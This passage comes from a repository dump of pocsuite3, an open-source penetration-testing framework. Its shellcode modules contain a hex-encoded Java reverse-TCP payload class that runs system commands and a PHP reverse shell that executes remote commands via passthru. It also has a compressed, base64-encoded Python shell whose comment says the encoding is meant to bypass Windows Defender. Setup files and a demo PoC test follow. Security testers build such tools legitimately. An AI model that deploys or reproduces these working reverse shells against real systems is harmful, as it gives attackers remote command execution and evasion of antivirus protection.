b'\\x64\\x65\\x72\\x0c\\x00\\xb4\\x00\\xb5\\x01\\x00\\x01\\x0a\\x0c\\x00\\xb6\\x00'\n            b'\\xa6\\x0c\\x00\\xb4\\x00\\xb7\\x01\\x00\\x13\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61'\n            b'\\x6e\\x67\\x2f\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x0c\\x00\\xb8\\x00'\n            b'\\x40\\x01\\x00\\x0c\\x65\\x61\\x73\\x74\\x2f\\x50\\x61\\x79\\x6c\\x6f\\x61\\x64'\n            b'\\x07\\x00\\xb9\\x0c\\x00\\xba\\x00\\xbb\\x01\\x00\\x13\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x69\\x6f\\x2f\\x49\\x4f\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6f\\x6e\\x07\\x00'\n            b'\\xbc\\x0c\\x00\\xbd\\x00\\xbe\\x07\\x00\\xbf\\x01\\x00\\x01\\x3b\\x0c\\x00\\x3d'\n            b'\\x00\\x3e\\x01\\x00\\x03\\x77\\x69\\x6e\\x0c\\x00\\xc0\\x00\\x9c\\x01\\x00\\x03'\n            b'\\x6e\\x69\\x78\\x01\\x00\\x03\\x6e\\x75\\x78\\x01\\x00\\x03\\x61\\x69\\x78\\x01'\n            b'\\x00\\x07\\x6f\\x73\\x2e\\x6e\\x61\\x6d\\x65\\x0c\\x00\\xc1\\x00\\xc2\\x0c\\x00'\n            b'\\xc3\\x00\\xa6\\x01\\x00\\x15\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f'\n            b'\\x43\\x6c\\x61\\x73\\x73\\x4c\\x6f\\x61\\x64\\x65\\x72\\x01\\x00\\x13\\x5b\\x4c'\n            b'\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67'\n            b'\\x3b\\x01\\x00\\x11\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x50\\x72'\n            b'\\x6f\\x63\\x65\\x73\\x73\\x01\\x00\\x13\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f'\n            b'\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x11\\x6a\\x61'\n            b'\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x49\\x6e\\x74\\x65\\x67\\x65\\x72\\x01'\n            b'\\x00\\x08\\x70\\x61\\x72\\x73\\x65\\x49\\x6e\\x74\\x01\\x00\\x15\\x28\\x4c\\x6a'\n            b'\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b'\n            b'\\x29\\x49\\x01\\x00\\x16\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67'\n            b'\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x49\\x29\\x56\\x01\\x00\\x0e\\x67\\x65'\n            b'\\x74\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x17\\x28'\n            b'\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\\x53'\n            b'\\x74\\x72\\x65\\x61\\x6d\\x3b\\x01\\x00\\x18\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x29'\n            b'\\x56\\x01\\x00\\x13\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x52\\x65'\n            b'\\x61\\x64\\x65\\x72\\x3b\\x29\\x56\\x01\\x00\\x0f\\x67\\x65\\x74\\x4f\\x75\\x74'\n            b'\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x18\\x28\\x29\\x4c\\x6a'\n            b'\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x4f\\x75\\x74\\x70\\x75\\x74\\x53\\x74\\x72'\n            b'\\x65\\x61\\x6d\\x3b\\x01\\x00\\x1a\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f'\n            b'\\x2f\\x4f\\x75\\x74\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x3b\\x5a\\x29'\n            b'\\x56\\x01\\x00\\x08\\x72\\x65\\x61\\x64\\x4c\\x69\\x6e\\x65\\x01\\x00\\x14\\x28'\n            b'\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69'\n            b'\\x6e\\x67\\x3b\\x01\\x00\\x10\\x65\\x71\\x75\\x61\\x6c\\x73\\x49\\x67\\x6e\\x6f'\n            b'\\x72\\x65\\x43\\x61\\x73\\x65\\x01\\x00\\x15\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x5a\\x01\\x00'\n            b'\\x05\\x73\\x70\\x6c\\x69\\x74\\x01\\x00\\x07\\x70\\x72\\x69\\x6e\\x74\\x6c\\x6e'\n            b'\\x01\\x00\\x15\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53'\n            b'\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x56\\x01\\x00\\x05\\x63\\x6c\\x6f\\x73\\x65'\n            b'\\x01\\x00\\x11\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x52\\x75\\x6e'\n            b'\\x74\\x69\\x6d\\x65\\x01\\x00\\x0a\\x67\\x65\\x74\\x52\\x75\\x6e\\x74\\x69\\x6d'\n            b'\\x65\\x01\\x00\\x15\\x28\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67'\n            b'\\x2f\\x52\\x75\\x6e\\x74\\x69\\x6d\\x65\\x3b\\x01\\x00\\x04\\x65\\x78\\x65\\x63'\n            b'\\x01\\x00\\x28\\x28\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f'\n            b'\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61'\n            b'\\x6e\\x67\\x2f\\x50\\x72\\x6f\\x63\\x65\\x73\\x73\\x3b\\x01\\x00\\x07\\x77\\x61'\n            b'\\x69\\x74\\x46\\x6f\\x72\\x01\\x00\\x03\\x28\\x29\\x49\\x01\\x00\\x06\\x61\\x70'\n            b'\\x70\\x65\\x6e\\x64\\x01\\x00\\x2d\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61'\n            b'\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61'\n            b'\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x42\\x75\\x69\\x6c'\n            b'\\x64\\x65\\x72\\x3b\\x01\\x00\\x08\\x74\\x6f\\x53\\x74\\x72\\x69\\x6e\\x67\\x01'\n            b'\\x00\\x2c\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74'\n            b'\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67'\n            b'\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x42\\x75\\x66\\x66\\x65\\x72\\x3b\\x01\\x00'\n            b'\\x0f\\x70\\x72\\x69\\x6e\\x74\\x53\\x74\\x61\\x63\\x6b\\x54\\x72\\x61\\x63\\x65'\n            b'\\x01\\x00\\x0f\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x43\\x6c\\x61'\n            b'\\x73\\x73\\x01\\x00\\x13\\x67\\x65\\x74\\x52\\x65\\x73\\x6f\\x75\\x72\\x63\\x65'\n            b'\\x41\\x73\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x29\\x28\\x4c\\x6a\\x61\\x76'\n            b'\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c'\n            b'\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72'\n            b'\\x65\\x61\\x6d\\x3b\\x01\\x00\\x10\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67'\n            b'\\x2f\\x53\\x79\\x73\\x74\\x65\\x6d\\x01\\x00\\x03\\x6f\\x75\\x74\\x01\\x00\\x15'\n            b'\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f\\x50\\x72\\x69\\x6e\\x74\\x53\\x74'\n            b'\\x72\\x65\\x61\\x6d\\x3b\\x01\\x00\\x13\\x6a\\x61\\x76\\x61\\x2f\\x69\\x6f\\x2f'\n            b'\\x50\\x72\\x69\\x6e\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x01\\x00\\x07\\x69\\x6e'\n            b'\\x64\\x65\\x78\\x4f\\x66\\x01\\x00\\x0b\\x67\\x65\\x74\\x50\\x72\\x6f\\x70\\x65'\n            b'\\x72\\x74\\x79\\x01\\x00\\x26\\x28\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e'\n            b'\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x29\\x4c\\x6a\\x61\\x76\\x61\\x2f'\n            b'\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\\x01\\x00\\x0b\\x74'\n            b'\\x6f\\x4c\\x6f\\x77\\x65\\x72\\x43\\x61\\x73\\x65\\x00\\x21\\x00\\x2b\\x00\\x3c'\n            b'\\x00\\x00\\x00\\x01\\x00\\x0a\\x00\\x3d\\x00\\x3e\\x00\\x00\\x00\\x07\\x00\\x01'\n            b'\\x00\\x3f\\x00\\x40\\x00\\x01\\x00\\x41\\x00\\x00\\x00\\x1d\\x00\\x01\\x00\\x01'\n            b'\\x00\\x00\\x00\\x05\\x2a\\xb7\\x00\\x01\\xb1\\x00\\x00\\x00\\x01\\x00\\x42\\x00'\n            b'\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x09\\x00\\x43\\x00\\x44\\x00'\n            b'\\x02\\x00\\x41\\x00\\x00\\x01\\x24\\x00\\x05\\x00\\x09\\x00\\x00\\x00\\x91\\x12'\n            b'\\x02\\xb8\\x00\\x03\\x4c\\x2b\\x03\\x32\\x4d\\x2b\\x04\\x32\\xb8\\x00\\x04\\x3e'\n            b'\\xbb\\x00\\x05\\x59\\x2c\\x1d\\xb7\\x00\\x06\\x3a\\x04\\xbb\\x00\\x07\\x59\\xbb'\n            b'\\x00\\x08\\x59\\x19\\x04\\xb6\\x00\\x09\\xb7\\x00\\x0a\\xb7\\x00\\x0b\\x3a\\x05'\n            b'\\xbb\\x00\\x0c\\x59\\x19\\x04\\xb6\\x00\\x0d\\x04\\xb7\\x00\\x0e\\x3a\\x06\\x19'\n            b'\\x05\\xb6\\x00\\x0f\\x3a\\x07\\x19\\x07\\x12\\x10\\xb6\\x00\\x11\\x99\\x00\\x06'\n            b'\\xa7\\x00\\x3a\\xb8\\x00\\x12\\x99\\x00\\x1e\\x06\\xbd\\x00\\x13\\x59\\x03\\x12'\n            b'\\x14\\x53\\x59\\x04\\x12\\x15\\x53\\x59\\x05\\x19\\x07\\x53\\xb8\\x00\\x16\\x3a'\n            b'\\x08\\xa7\\x00\\x0f\\x19\\x07\\x12\\x17\\xb6\\x00\\x18\\xb8\\x00\\x16\\x3a\\x08'\n            b'\\x19\\x06\\x19\\x08\\xb6\\x00\\x19\\xa7\\xff\\x94\\x19\\x04\\xb6\\x00\\x1a\\xb1'\n            b'\\x00\\x00\\x00\\x02\\x00\\x42\\x00\\x00\\x00\\x3e\\x00\\x0f\\x00\\x00\\x00\\x0a'\n            b'\\x00\\x06\\x00\\x0b\\x00\\x0a\\x00\\x0c\\x00\\x11\\x00\\x0d\\x00\\x1c\\x00\\x10'\n            b'\\x00\\x31\\x00\\x11\\x00\\x40\\x00\\x12\\x00\\x47\\x00\\x14\\x00\\x54\\x00\\x16'\n            b'\\x00\\x5a\\x00\\x17\\x00\\x75\\x00\\x1b\\x00\\x81\\x00\\x1d\\x00\\x88\\x00\\x1e'\n            b'\\x00\\x8b\\x00\\x1f\\x00\\x90\\x00\\x20\\x00\\x45\\x00\\x00\\x00\\x3d\\x00\\x05'\n            b'\\xff\\x00\\x1c\\x00\\x05\\x07\\x00\\x46\\x07\\x00\\x46\\x07\\x00\\x47\\x01\\x07'\n            b'\\x00\\x48\\x00\\x00\\xfe\\x00\\x37\\x07\\x00\\x49\\x07\\x00\\x4a\\x07\\x00\\x47'\n            b'\\x20\\xfc\\x00\\x0b\\x07\\x00\\x47\\xff\\x00\\x09\\x00\\x05\\x07\\x00\\x46\\x07'\n            b'\\x00\\x46\\x07\\x00\\x47\\x01\\x07\\x00\\x48\\x00\\x00\\x00\\x4b\\x00\\x00\\x00'\n            b'\\x04\\x00\\x01\\x00\\x2e\\x00\\x09\\x00\\x4c\\x00\\x4d\\x00\\x01\\x00\\x41\\x00'\n            b'\\x00\\x00\\xd9\\x00\\x05\\x00\\x05\\x00\\x00\\x00\\x5f\\xbb\\x00\\x1b\\x59\\xb7'\n            b'\\x00\\x1c\\x4c\\xb8\\x00\\x1d\\x2a\\xb6\\x00\\x1e\\x4d\\x2c\\xb6\\x00\\x1f\\x57'\n            b'\\xbb\\x00\\x07\\x59\\xbb\\x00\\x08\\x59\\x2c\\xb6\\x00\\x20\\xb7\\x00\\x0a\\xb7'\n            b'\\x00\\x0b\\x4e\\x12\\x21\\x3a\\x04\\x2d\\xb6\\x00\\x0f\\x59\\x3a\\x04\\xc6\\x00'\n            b'\\x1f\\x2b\\xbb\\x00\\x22\\x59\\xb7\\x00\\x23\\x19\\x04\\xb6\\x00\\x24\\x12\\x25'\n            b'\\xb6\\x00\\x24\\xb6\\x00\\x26\\xb6\\x00\\x27\\x57\\xa7\\xff\\xdd\\xa7\\x00\\x08'\n            b'\\x4e\\x2d\\xb6\\x00\\x29\\x2b\\xb6\\x00\\x2a\\xb0\\x00\\x01\\x00\\x08\\x00\\x52'\n            b'\\x00\\x55\\x00\\x28\\x00\\x02\\x00\\x42\\x00\\x00\\x00\\x2e\\x00\\x0b\\x00\\x00'\n            b'\\x00\\x24\\x00\\x08\\x00\\x27\\x00\\x10\\x00\\x28\\x00\\x15\\x00\\x29\\x00\\x28'\n            b'\\x00\\x2c\\x00\\x2c\\x00\\x2d\\x00\\x36\\x00\\x2e\\x00\\x52\\x00\\x33\\x00\\x55'\n            b'\\x00\\x31\\x00\\x56\\x00\\x32\\x00\\x5a\\x00\\x34\\x00\\x45\\x00\\x00\\x00\\x2c'\n            b'\\x00\\x04\\xff\\x00\\x2c\\x00\\x05\\x07\\x00\\x46\\x07\\x00\\x4e\\x07\\x00\\x4f'\n            b'\\x07\\x00\\x49\\x07\\x00\\x47\\x00\\x00\\xf9\\x00\\x25\\xff\\x00\\x02\\x00\\x02'\n            b'\\x07\\x00\\x46\\x07\\x00\\x4e\\x00\\x01\\x07\\x00\\x50\\x04\\x00\\x09\\x00\\x51'\n            b'\\x00\\x52\\x00\\x01\\x00\\x41\\x00\\x00\\x00\\xd9\\x00\\x05\\x00\\x06\\x00\\x00'\n            b'\\x00\\x5c\\x13\\x00\\x2b\\x2a\\xb6\\x00\\x2c\\x4c\\xbb\\x00\\x07\\x59\\xbb\\x00'\n            b'\\x08\\x59\\x2b\\xb7\\x00\\x0a\\xb7\\x00\\x0b\\x4d\\xbb\\x00\\x22\\x59\\xb7\\x00'\n            b'\\x23\\x4e\\x2c\\xb6\\x00\\x0f\\x59\\x3a\\x04\\xc6\\x00\\x0d\\x2d\\x19\\x04\\xb6'\n            b'\\x00\\x24\\x57\\xa7\\xff\\xef\\x2d\\xb6\\x00\\x26\\x3a\\x05\\x2c\\xb6\\x00\\x2d'\n            b'\\xa7\\x00\\x10\\x3a\\x05\\xb2\\x00\\x2f\\x19\\x05\\xb6\\x00\\x30\\xb6\\x00\\x31'\n            b'\\x2d\\xb6\\x00\\x26\\x3a\\x05\\x19\\x05\\x12\\x32\\xb6\\x00\\x18\\xb0\\x00\\x01'\n            b'\\x00\\x20\\x00\\x3e\\x00\\x41\\x00\\x2e\\x00\\x02\\x00\\x42\\x00\\x00\\x00\\x32'\n            b'\\x00\\x0c\\x00\\x00\\x00\\x39\\x00\\x08\\x00\\x3a\\x00\\x18\\x00\\x3b\\x00\\x20'\n            b'\\x00\\x3e\\x00\\x2a\\x00\\x3f\\x00\\x34\\x00\\x42\\x00\\x3a\\x00\\x43\\x00\\x3e'\n            b'\\x00\\x46\\x00\\x41\\x00\\x44\\x00\\x43\\x00\\x45\\x00\\x4e\\x00\\x47\\x00\\x54'\n            b'\\x00\\x48\\x00\\x45\\x00\\x00\\x00\\x2b\\x00\\x04\\xfe\\x00\\x20\\x07\\x00\\x53'\n            b'\\x07\\x00\\x49\\x07\\x00\\x54\\xfc\\x00\\x13\\x07\\x00\\x47\\xff\\x00\\x0c\\x00'\n            b'\\x04\\x07\\x00\\x47\\x07\\x00\\x53\\x07\\x00\\x49\\x07\\x00\\x54\\x00\\x01\\x07'\n            b'\\x00\\x55\\x0c\\x00\\x09\\x00\\x56\\x00\\x57\\x00\\x01\\x00\\x41\\x00\\x00\\x00'\n            b'\\x34\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x11\\xb2\\x00\\x33\\x12\\x34\\xb6\\x00'\n            b'\\x35\\x9b\\x00\\x07\\x04\\xa7\\x00\\x04\\x03\\xac\\x00\\x00\\x00\\x02\\x00\\x42'\n            b'\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x4d\\x00\\x45\\x00\\x00\\x00\\x05'\n            b'\\x00\\x02\\x0f\\x40\\x01\\x00\\x09\\x00\\x58\\x00\\x57\\x00\\x01\\x00\\x41\\x00'\n            b'\\x00\\x00\\x4b\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x27\\xb2\\x00\\x33\\x12\\x36'\n            b'\\xb6\\x00\\x35\\x9c\\x00\\x19\\xb2\\x00\\x33\\x12\\x37\\xb6\\x00\\x35\\x9c\\x00'\n            b'\\x0e\\xb2\\x00\\x33\\x12\\x38\\xb6\\x00\\x35\\x9e\\x00\\x07\\x04\\xa7\\x00\\x04'\n            b'\\x03\\xac\\x00\\x00\\x00\\x02\\x00\\x42\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00'\n            b'\\x00\\x51\\x00\\x45\\x00\\x00\\x00\\x06\\x00\\x03\\x21\\x03\\x40\\x01\\x00\\x08'\n            b'\\x00\\x59\\x00\\x40\\x00\\x01\\x00\\x41\\x00\\x00\\x00\\x24\\x00\\x01\\x00\\x00'\n            b'\\x00\\x00\\x00\\x0c\\x12\\x39\\xb8\\x00\\x3a\\xb6\\x00\\x3b\\xb3\\x00\\x33\\xb1'\n            b'\\x00\\x00\\x00\\x01\\x00\\x42\\x00\\x00\\x00\\x06\\x00\\x01\\x00\\x00\\x00\\x07'\n            b'\\x00\\x01\\x00\\x5a\\x00\\x00\\x00\\x02\\x00\\x5b'\n        )\n        jar.add_file('east/Payload.class', java_reverse_tcp)\n        if self.make_jar:\n            self.path_to_jar = filepath\n        remove_jar = not self.make_jar\n        return jar.get_raw(remove_jar)\n\n    def get_shellcode(self, inline=False):\n        shell = \"\"\n        if self.shell_type == SHELLCODE_TYPE.JAR:\n            shell = self.get_jar()\n        elif self.shell_type == SHELLCODE_TYPE.JSP:\n            shell = self.get_jsp(inline)\n        return shell\n"
  },
  {
    "path": "pocsuite3/shellcodes/php.py",
    "content": "from .base import ShellCode\n\n\nclass PhpShellCode(ShellCode):\n    \"\"\"\n        Class with shellcode for php language\n    \"\"\"\n\n    def __init__(self, connect_back_ip='localhost', connect_back_port=5555, prefix='<?php', suffix='?>'):\n        ShellCode.__init__(self, connect_back_ip=connect_back_ip,\n                           connect_back_port=connect_back_port,\n                           prefix=prefix,\n                           suffix=suffix)\n\n    def get_phpinfo(self):\n        \"\"\" Function to get phpinfo \"\"\"\n        phpcode = \"<?php phpinfo(); ?>\"\n        return phpcode\n\n    def get_phpcode(self):\n        \"\"\" Function to get php shellcode \"\"\"\n\n        if not self.connect_back_ip or not self.connect_back_port:\n            print(\"Settings for connect back listener must be defined\")\n            return False\n\n        phpcode = \"\"\"\n        $address=\"{{LOCALHOST}}\";\n        $port={{LOCALPORT}};\n        $buff_size=2048;\n        $timeout=120;\n        $sock=fsockopen($address,$port) or die(\"Cannot create a socket\");\n        while ($read=fgets($sock,$buff_size)) {\n            $out=\"\";\n            if ($read) {\n                if (strcmp($read,\"quit\")===0 || strcmp($read,\"q\")===0) {\n                    break;\n                }\n                ob_start();\n                passthru($read);\n                $out=ob_get_contents();\n                ob_end_clean();\n            }\n            $length=strlen($out);\n            while (1) {\n                $sent=fwrite($sock,$out,$length);\n                if ($sent===false) {\n                    break;\n                }\n                if ($sent<$length) {\n                    $st=substr($st,$sent);\n                    $length-=$sent;\n                } else {\n                    break;\n                }\n            }\n        }\n        fclose($sock);\n        \"\"\"\n        phpcode = self.format_shellcode(phpcode)\n        phpcode = \"{prefix}{code}{suffix}\".format(prefix=self.prefix, code=phpcode, suffix=self.suffix)\n        return phpcode\n\n    def get_shellcode(self, inline=False):\n        shell = self.get_phpcode()\n        if inline:\n            shell = self.make_inline(shell)\n        return shell\n\n\nif __name__ == '__main__':\n    p = PhpShellCode()\n    print(p.get_shellcode())\n"
  },
  {
    "path": "pocsuite3/shellcodes/python.py",
    "content": "import zlib\nimport base64\nfrom .base import ShellCode\n\n\nclass PythonShellCode(ShellCode):\n    \"\"\"\n        Class with shellcodes for python language\n    \"\"\"\n\n    def __init__(self, connect_back_ip='localhost', connect_back_port=5555):\n        ShellCode.__init__(self, connect_back_ip=connect_back_ip,\n                           connect_back_port=connect_back_port)\n\n    def get_python_code(self, bad_chars):\n        \"\"\"\n            Function to get python shellcode\n        \"\"\"\n\n        if not self.connect_back_ip or not self.connect_back_port:\n            print(\"Settings for connect back listener must be defined\")\n            return False\n\n        # compress and base64 encode to bypass windows defender\n        python_code = (\n            b'eJxtUsFu2zAMvfsrWORgezOctdhpQA5BkGHFuiZofBuGQLY4'\n            b'WKgteZKcoijy7yUlNzOK6mLz8fHpkeLiajk6u6yVXg7PvjU6'\n            b'Uf1grAdnmkf0hRvrwZoGnUt+7A4VrCB9ebnbbdZ3HJ7PKdBZ'\n            b'QNUiWOyNR2iN88l+98DcicrR+Qzwn+tEjxDuEQ5GhxLqZ/Cc'\n            b'QHtCmzgqjg7K+MmmaP39eHu/rYq37GG3+Xk8VA/b9a88WUBj'\n            b'tMbGgzcgvBdEsdCLplUaE1dO2Sxj7wWwrZyrHGoJTwjC4psC'\n            b'SuIznqW/P/2BTUSV0bB1XtSdci3KqzRUe0F9dMYMyVOrOoTr'\n            b'b0ns1GKj8ERNtdh1pNz3QsuQk8ILbrEkyim7/nLzNQ/4YJX2'\n            b'ITtJqL+gvIN/o/IFD0hDbVE8ghlpdOS66YzDaRihhAqiOL0U'\n            b'V6Vg7AxJozc+QWi6RpoPTPLDs8nLCpR7M6DOWK2I/FVlR6R/'\n            b'L8nQas683W8DjtZ+iCv9Hs4vUxOS+xvG2FEUP55ENyLZ4ZIy'\n            b'YiVTsxw+X0C6bQInsfC0UWy+FFE4PvBcP+zQfKS0NByS3itr'\n            b'QQTj'\n        )\n        python_code = zlib.decompress(base64.b64decode(python_code)).decode()\n        python_code = self.format_shellcode(python_code)\n        return python_code\n\n    def get_shellcode(self, inline=False):\n        shell = self.get_python_code(self.bad_chars)\n        if inline:\n            shell = self.make_inline(shell)\n        return shell\n"
  },
  {
    "path": "requirements.txt",
    "content": "requests >= 2.22.0\nPySocks >= 1.7.1\nrequests-toolbelt >= 0.9.1\nurllib3 >= 1.25.6\nchardet >= 3.0.4\ntermcolor >= 1.1.0\ncolorama >= 0.4.4\nprettytable >= 0.7.2\ncolorlog >= 4.7.2\nscapy >= 2.4.4\npyOpenSSL >= 20.0.0\nFaker >= 0.7.7\npycryptodomex >= 3.9.0\ndacite >= 1.6.0\nPyYAML >= 6.0\nlxml >= 4.6.0\nmmh3 >= 3.0.0\ndocker >=  6.1.3\npackaging\n"
  },
  {
    "path": "setup.cfg",
    "content": "[metadata]\ndescription-file = README.md\n\n[bdist_wheel]\nuniversal = 1\n\n[flake8]\nper-file-ignores =\n    # imported but unused\n    pocsuite3/api/__init__.py: F401\n    # may be undefined, or defined from star imports\n    tests/test_nuclei_helper_functions.py: F405, F403\n"
  },
  {
    "path": "setup.py",
    "content": "#!/usr/bin/env python\nimport os\ntry:\n    from setuptools import setup, find_packages\nexcept ImportError:\n    from distutils.core import setup\n\n    def find_packages(where='.'):\n        # os.walk -> list[(dirname, list[subdirs], list[files])]\n        return [folder.replace(os.sep, \".\").strip(\".\")\n                for (folder, _, files) in os.walk(where)\n                if \"__init__.py\" in files]\n\n\nlong_description = (\n    'Pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework '\n    'developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice '\n    'features for the ultimate penetration testers and security researchers.'\n)\n\n\nsetup(\n    name='pocsuite3',\n    version='2.1.0',\n    url='https://pocsuite.org',\n    description='Open-sourced remote vulnerability testing framework.',\n    long_description=long_description,\n    keywords='PoC,Exp,Pocsuite',\n    author='Knownsec 404 Team',\n    author_email='404-team@knownsec.com',\n    maintainer='Knownsec 404 Team',\n    platforms=['any'],\n    license='GPLv2',\n    zip_safe=False,\n    packages=find_packages(),\n    include_package_data=True,\n    python_requires='>=3.8',\n    entry_points={\n        \"console_scripts\": [\n            \"pocsuite = pocsuite3.cli:main\",\n            \"poc-console = pocsuite3.console:main\"\n        ]\n    },\n    install_requires=[\n        \"requests >= 2.22.0\",\n        \"requests-toolbelt\",\n        \"PySocks\",\n        \"urllib3\",\n        \"chardet\",\n        \"termcolor\",\n        \"colorama\",\n        \"prettytable\",\n        \"colorlog\",\n        \"scapy\",\n        \"Faker\",\n        \"pycryptodomex\",\n        \"dacite\",\n        \"PyYAML\",\n        \"lxml\",\n        \"docker\",\n        \"packaging\"\n    ],\n    extras_require={\n        'complete': [\n            'pyOpenSSL',\n            'jq',\n            'mmh3'\n        ],\n    }\n)\n"
  },
  {
    "path": "test.py",
    "content": "import os\nfrom unittest import TestLoader, TextTestRunner\n\n\nif __name__ == '__main__':\n    loader = TestLoader()\n    tests_dir = os.path.join(os.path.dirname(__file__), 'tests')\n    tests = loader.discover(tests_dir, pattern='test_*.py')\n    runner = TextTestRunner()\n    result = runner.run(tests)\n    if result.failures or result.errors:\n        raise SystemExit(f'{len(result.failures) + len(result.errors)} tests failed.')\n"
  },
  {
    "path": "tests/__init__.py",
    "content": ""
  },
  {
    "path": "tests/login_demo.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time    : 2019/2/26 2:33 PM\n# @Author  : chenghsm\n# @File    : login_demo.py\n# @Descript: 自定义命令参数登录例子\n\nfrom collections import OrderedDict\n\nfrom pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests\nfrom pocsuite3.api import OptString\n\n\nclass DemoPOC(POCBase):\n    vulID = '00000'  # ssvid\n    version = '1.0'\n    author = ['chenghs']\n    vulDate = '2019-2-26'\n    createDate = '2019-2-26'\n    updateDate = '2019-2-25'\n    references = ['']\n    name = '自定义命令参数登录例子'\n    appPowerLink = 'http://www.knownsec.com/'\n    appName = 'test'\n    appVersion = 'test'\n    vulType = 'demo'\n    desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数'''\n    samples = []\n    category = POC_CATEGORY.EXPLOITS.WEBAPP\n\n    def _options(self):\n        o = OrderedDict()\n        o[\"username\"] = OptString('', description='这个poc需要用户登录，请输入登录账号', require=True)\n        o[\"password\"] = OptString('', description='这个poc需要用户密码，请输出用户密码', require=False)\n        return o\n\n    def _verify(self):\n        result = {}\n        payload = \"username={0}&password={1}\".format(self.get_option(\"username\"), self.get_option(\"password\"))\n        r = requests.post(self.url, data=payload)\n        if r.status_code == 200:\n            result['VerifyInfo'] = {}\n            result['VerifyInfo']['URL'] = self.url\n            result['VerifyInfo']['Postdata'] = payload\n\n        return self.parse_output(result)\n\n    def _attack(self):\n        return self._verify()\n\n    def parse_output(self, result):\n        output = Output(self)\n        if result:\n            output.success(result)\n        else:\n            output.fail('target is not vulnerable')\n        return output\n\n\nregister_poc(DemoPOC)\n"
  },
  {
    "path": "tests/test_api_diy_options.py",
